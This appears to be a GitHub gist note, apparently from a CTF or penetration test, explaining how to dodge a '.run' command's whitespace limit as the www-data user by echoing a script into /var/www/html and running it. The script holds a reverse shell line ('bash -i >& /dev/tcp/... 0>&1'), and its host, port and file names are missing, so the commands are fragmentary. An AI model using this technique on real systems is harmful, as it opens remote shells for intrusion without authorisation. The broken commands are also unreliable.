Skip to content

Instantly share code, notes, and snippets.

What would you like to do?

I'd faced issue while executing any command using .run command as it doesn't supporting white spaces and raising exception(for example ls index.html).

I figured up it by creating a .sh file with limited privledge session(www-data) in /html directory.

echo "#! bin/bash" >
echo $'\n' >>
echo "bash -i >& /dev/tcp/ 0>&1" >>
chmod +x

Now in hexchat exexcute: .run /var/www/html/


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment